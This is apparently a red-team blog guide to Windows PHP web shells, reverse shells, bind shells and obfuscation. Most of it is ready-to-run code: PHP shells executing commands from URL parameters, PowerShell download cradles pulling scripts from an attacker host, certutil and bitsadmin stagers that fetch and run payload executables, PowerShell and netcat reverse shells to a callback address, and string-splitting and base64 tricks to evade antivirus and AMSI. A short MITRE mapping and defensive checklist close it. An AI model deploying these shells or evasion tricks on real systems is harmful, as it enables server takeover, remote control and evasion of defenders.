Windows PHP Web Shell & Reverse Shell Techniques

Windows Web Shell & Reverse Shell Techniques: Complete Guide

Windows Web Shell & Reverse Shell Techniques: Complete Guide

Updated on November 27, 2025

Windows servers remain a prime target for web shell and reverse shell activity, especially in IIS/PHP environments and legacy stacks still running classic ASP or PHP on Windows. This guide focuses entirely on Windows-specific techniques so you can test your defenses, logging, and EDR visibility in a realistic way. Understanding these Windows web shell techniques is crucial for modern red teaming.

All examples are for authorized penetration testing and lab use only.

Windows PHP Web Shell & Reverse Shell Techniques

Core Concept: Windows Command Execution via PHP

On Windows, PHP typically executes commands through cmd.exe, either implicitly (via system(), exec()) or explicitly (`cmd /c <command>`).

Key points:

  • Default shell: cmd.exe
  • Common utilities: powershell.exe, certutil.exe, bitsadmin.exe, curl.exe, mshta.exe, rundll32.exe
  • Many defenses: AppLocker, WDAC, AMSI, Defender, EDR tools

When testing, use both:

  • Direct command execution: system("whoami")
  • Wrapped execution: system("cmd /c whoami")

Example base snippet:

<?php
// Minimal Windows web shell
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    // Explicitly use cmd.exe for Windows
    system("cmd /c " . $cmd);
}
?>

Example usage:

  • http://target/shell.php?cmd=whoami
  • http://target/shell.php?cmd=ipconfig /all

Windows Web Shell Techniques (PHP + cmd.exe + PowerShell)

These patterns help you test different code paths, logging behavior, and AV/EDR signatures on Windows.

1. Direct Command Execution on Windows

1) system() with cmd.exe

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    system("cmd /c " . $cmd);
}
?>

2) shell_exec() with cmd.exe

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $out = shell_exec("cmd /c " . $cmd);
    echo "<pre>$out</pre>";
}
?>

3) exec() with cmd.exe

<?php
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $output = [];
    exec("cmd /c " . $cmd, $output, $code);
    echo "Exit Code: $code\n";
    echo "<pre>" . implode("\n", $output) . "</pre>";
}
?>

4) passthru() for streaming output

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    passthru("cmd /c " . $cmd);
}
?>

5) Backticks on Windows

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $out = `cmd /c $cmd`;
    echo "<pre>$out</pre>";
}
?>

These variants all map to T1059.003 - Command and Scripting Interpreter: Windows Command Shell.

2. PowerShell-Based Web Shell Patterns

Windows often has PowerShell available by default, and many payloads rely on it.

1) simple PowerShell inline command

<?php
if (isset($_GET['ps'])) {
    $ps = $_GET['ps']; // e.g., whoami; dir C:\
    $cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
    $out = shell_exec($cmd);
    echo "<pre>$out</pre>";
}
?>

2) PowerShell download + execute (for stager testing)

Use an HTTP server on your attacker box to host a script rs.ps1.

<?php
if (isset($_GET['url'])) {
    $url = $_GET['url']; // http://ATTACKER/rs.ps1
    $ps  = "IEX(New-Object Net.WebClient).DownloadString('$url')";
    $cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
    shell_exec($cmd);
    echo "[+] PowerShell download cradle triggered";
}
?>

3) PowerShell encoded command (tests AV/AMSI behavior)

<?php
if (isset($_GET['ps'])) {
    $ps   = $_GET['ps']; // raw PowerShell
    $b64  = base64_encode(iconv("UTF-8","UTF-16LE",$ps));
    $cmd  = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $b64";
    $out  = shell_exec($cmd);
    echo "<pre>$out</pre>";
}
?>

This is useful to see how well AMSI/EDR handle encoded payloads. For further reading on EDR evasion, check out our guide on advanced evasion techniques.

3. Windows Living-Off-The-Land (LOLBins) from PHP

Use Windows-native binaries that often bypass naive allow lists.

1) certutil download test (T1105)

<?php
// Test certutil file download
if (isset($_GET['url'])) {
    $url = $_GET['url']; // http://ATTACKER/payload.exe
    $cmd = 'certutil.exe -urlcache -split -f ' . $url . ' C:\\Windows\\Temp\\payload.exe';
    system("cmd /c " . $cmd);
    echo "[+] certutil download attempted";
}
?>

2) bitsadmin download

<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    $cmd = 'bitsadmin /transfer myJob ' . $url . ' C:\\Windows\\Temp\\payload.exe';
    system("cmd /c " . $cmd);
    echo "[+] bitsadmin job created (if allowed)";
}
?>

3) mshta / rundll32 / wmic (for side-channel testing)

Example with mshta:

<?php
if (isset($_GET['url'])) {
    $url = $_GET['url']; // malicious HTA URL
    $cmd = 'mshta.exe ' . $url;
    system("cmd /c " . $cmd);
    echo "[+] mshta launched (if not blocked)";
}
?>

Use these to see which LOLBins are blocked/logged in your environment.

Windows Reverse Shell Techniques (PHP + cmd.exe + PowerShell)

On Windows, the classic “netcat + /bin/sh” style does not directly translate. Instead, use PowerShell, native binaries, or Windows builds of nc/ncat/socat.

1. PowerShell Reverse Shells Triggered via PHP

1) classic PowerShell TCP reverse shell (one-liner)

<?php
$ip   = "10.10.10.10";
$port = 4444;

// PowerShell TCP reverse shell one-liner
$ps = '$client = New-Object System.Net.Sockets.TCPClient("' . $ip . '",' . $port . ');' .
      '$stream = $client.GetStream();' .
      '[byte[]]$bytes = 0..65535|%{0};' .
      'while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){' .
      ' $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);' .
      ' $sendback = (iex $data 2>&1 | Out-String );' .
      ' $sendback2  = $sendback + "PS " + (pwd).Path + "> ";' .
      ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);' .
      ' $stream.Write($sendbyte,0,$sendbyte.Length);' .
      ' $stream.Flush()};' .
      '$client.Close();';

$cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
shell_exec($cmd);
?>

Listener:

nc -nlvp 4444

2) PowerShell encoded reverse shell

<?php
$ip   = "10.10.10.10";
$port = 4444;

$ps = '$c=New-Object Net.Sockets.TCPClient("' . $ip . '",' . $port . ');' .
      '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' .
      'while(($i=$s.Read($b,0,$b.Length)) -ne 0){;' .
      '$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);' .
      '$r=(iex $d 2>&1 | Out-String );' .
      '$r+="PS "+(pwd).Path+"> ";' .
      '$sb=([text.encoding]::ASCII).GetBytes($r);' .
      '$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close();';

$b64 = base64_encode(iconv("UTF-8","UTF-16LE",$ps));
$cmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $b64";
shell_exec($cmd);
?>

This tests encoded payload handling and AMSI interception.

2. Windows Netcat / Ncat Reverse Shells

If nc.exe or ncat.exe is available on the Windows target:

1) nc.exe reverse shell (Windows build)

<?php
$ip   = "10.10.10.10";
$port = 4444;

// Some Windows nc builds support -e cmd.exe
system("cmd /c nc.exe $ip $port -e cmd.exe");
?>

2) ncat (Nmap) reverse shell

<?php
$ip   = "10.10.10.10";
$port = 4444;

system("cmd /c ncat.exe $ip $port -e cmd.exe");
?>

These often trigger AV/EDR quickly, ideal for validating detections.

3. Windows-Specific “Stager” Style Reverse Shells

1) Download and run EXE payload (certutil + EXE reverse shell)

<?php
$ip = "10.10.10.10"; // host that serves shell.exe

// Download reverse shell binary
system("cmd /c certutil.exe -urlcache -split -f http://$ip/shell.exe C:\\Windows\\Temp\\shell.exe");

// Execute it
system("cmd /c C:\\Windows\\Temp\\shell.exe");
?>

2) bitsadmin stager

<?php
$ip = "10.10.10.10";

system("cmd /c bitsadmin /transfer myJob http://$ip/shell.exe C:\\Windows\\Temp\\shell.exe");
system("cmd /c C:\\Windows\\Temp\\shell.exe");
?>

4. Windows Reverse Shell via PHP fsockopen + cmd.exe

You can still use PHP sockets, but spawn cmd.exe instead of /bin/sh.

<?php
$ip   = '10.10.10.10';
$port = 4444;

$sock = @fsockopen($ip, $port, $errno, $errstr, 10);
if ($sock) {
    $descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    );
    $process = proc_open('cmd.exe', $descriptorspec, $pipes);
    if (is_resource($process)) {
        proc_close($process);
    }
}
?>

5. Windows Bind Shell Examples

1) PowerShell-based bind shell (limited but good for testing)

<?php
$port = 4444;

$ps = '$l = [System.Net.Sockets.TcpListener]4444;' .
      '$l.Start();$c=$l.AcceptTcpClient();' .
      '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' .
      'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' .
      ' $d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);' .
      ' $r=(cmd.exe /c $d 2>&1 | Out-String );' .
      ' $sb=([text.encoding]::ASCII).GetBytes($r);' .
      ' $s.Write($sb,0,$sb.Length);$s.Flush()}' .
      '$c.Close();$l.Stop();';

$cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
shell_exec($cmd);
?>

Connect from attacker:

nc target_ip 4444

Windows-Focused Obfuscation Techniques (PHP + cmd + PowerShell)

Obfuscation is widely used by malware, but for defenders it’s crucial to understand the patterns to build robust detections.

1. Base64 + PowerShell Encoding

1) encode cmd.exe / powershell.exe strings

<?php
// Basic obfuscation of "powershell.exe -NoProfile -Command"
$plain = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command';
$encoded = base64_encode($plain); // just as an example
// Later:
$decoded = base64_decode($encoded);
shell_exec($decoded . ' "whoami"');
?>

2) full PS payload encoded twice (to test more complex decoders):

<?php
$ps = 'whoami; Get-Process | Select-Object -First 5';
$b1 = base64_encode(iconv("UTF-8","UTF-16LE",$ps));
$b2 = base64_encode($b1);
// decode twice at runtime
$d1 = base64_decode($b2);
$d2 = base64_decode($d1);
$cmd = "powershell.exe -NoProfile -EncodedCommand $d2";
shell_exec($cmd);
?>

2. String Splitting and Concatenation for LOLBins

1) break “powershell.exe” and “cmd.exe”:

<?php
$p = "po" . "wer" . "shell.exe";
$c = "c" . "m" . "d.exe";

$cmd = $p . ' -NoProfile -ExecutionPolicy Bypass -Command "whoami"';
shell_exec($cmd);
?>

2) build certutil string:

<?php
$cert = "cer" . "tut" . "il.exe";
$cmd  = $cert . ' -urlcache -split -f http://10.10.10.10/payload.exe C:\\Temp\\p.exe';
shell_exec("cmd /c " . $cmd);
?>

These defeat very simple string-based signatures for “powershell.exe” or “certutil.exe” in logs.

3. chr() and ASCII Assembly for Windows Commands

<?php
// "powershell.exe" assembled with chr()
$ps = chr(112).chr(111).chr(119).chr(101).chr(114).chr(115).
      chr(104).chr(101).chr(108).chr(108).chr(46).chr(101).chr(120).chr(101);

$cmd = $ps . ' -NoProfile -ExecutionPolicy Bypass -Command "whoami"';
shell_exec($cmd);
?>

4. Obfuscated Reverse Shell with Encoded PS String

<?php
$ip   = "10.10.10.10";
$port = 4444;

// raw one-liner
$ps = '$c=New-Object Net.Sockets.TCPClient("' . $ip . '",' . $port . ');' .
      '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String );$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close();';

// split and encode
$chunks = str_split($ps, 40);
$joined = implode('', $chunks);
$b64    = base64_encode(iconv("UTF-8","UTF-16LE",$joined));

$psExe = "po" . "wer" . "shell.exe"; // obfuscated
$cmd   = $psExe . " -NoProfile -ExecutionPolicy Bypass -EncodedCommand " . $b64;
shell_exec($cmd);
?>

This combines:

  • String splitting
  • Base64 encoding
  • Obfuscated executable name

5. Callback-Based Windows Execution (call_user_func)

<?php
// Indirection via call_user_func
$f = "sys" . "tem"; // system
if (isset($_GET['c'])) {
    call_user_func($f, "cmd /c " . $_GET['c']);
}
?>

6. Mixed PHP + Windows Environment Variables

<?php
// Fetch PATH or ComSpec
$path   = getenv('PATH');
$comspec = getenv('ComSpec'); // often C:\Windows\System32\cmd.exe

if ($comspec && isset($_GET['cmd'])) {
    $command = $comspec . " /c " . $_GET['cmd'];
    shell_exec($command);
}
?>

This can help you test how environment-variable-based execution appears in logs and EDR telemetry. You can find more on environment variable manipulation in the official PHP documentation.

MITRE ATT&CK Mapping (Windows-Specific)

  • T1059.003 – Command and Scripting Interpreter: Windows Command Shell
    All cmd.exe-based execution via PHP (`system("cmd /c ...")`)
  • T1059.001 – PowerShell
    All powershell.exe shells, encoded commands, and download cradles
  • T1105 – Ingress Tool Transfer
    certutil.exe, bitsadmin, curl.exe downloads
  • T1218 – Signed Binary Proxy Execution
    mshta.exe, rundll32.exe, regsvr32.exe patterns (you can add similar wrappers)
  • T1071.001 – Web Protocols
    HTTP/HTTPS reverse shells communicating over TCP
  • T1027 – Obfuscated Files or Information
    Base64, string-splitting, chr(), encoded PowerShell

For a deeper dive into these tactics, consult the MITRE ATT&CK Windows Matrix.

Defensive Takeaways for Windows Environments

Use these Windows-focused techniques to validate:

  • Which PHP functions are truly disabled via disable_functions in php.ini (e.g., system, exec, shell_exec, proc_open)
  • How your EDR/Defender reacts to:
    • cmd.exe /c chains
    • powershell.exe -EncodedCommand
    • certutil.exe -urlcache
    • bitsadmin jobs
    • mshta.exe and rundll32.exe execution
  • Whether network monitoring catches outbound reverse shell connections (TCP/4444 + others)
  • How your WAF handles parameters like ?cmd=whoami vs obfuscated variants

During authorized assessments, this Windows-specific technique matrix lets you hit multiple ATT&CK techniques in one run and gives defenders rich telemetry to tune detections against real-world attacker behaviors on Windows infrastructure. Check our Blue Team Defense Strategies for tips on hardening IIS.

Enjoyed this guide? Share your thoughts below and tell us how you leverage Windows Web Shell Techniques in your projects!

{{Windows Web Shell Techniques, PHP Reverse Shell, PowerShell Security, Windows Penetration Testing, IIS Security, Red Teaming, Cyber Security}}
Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment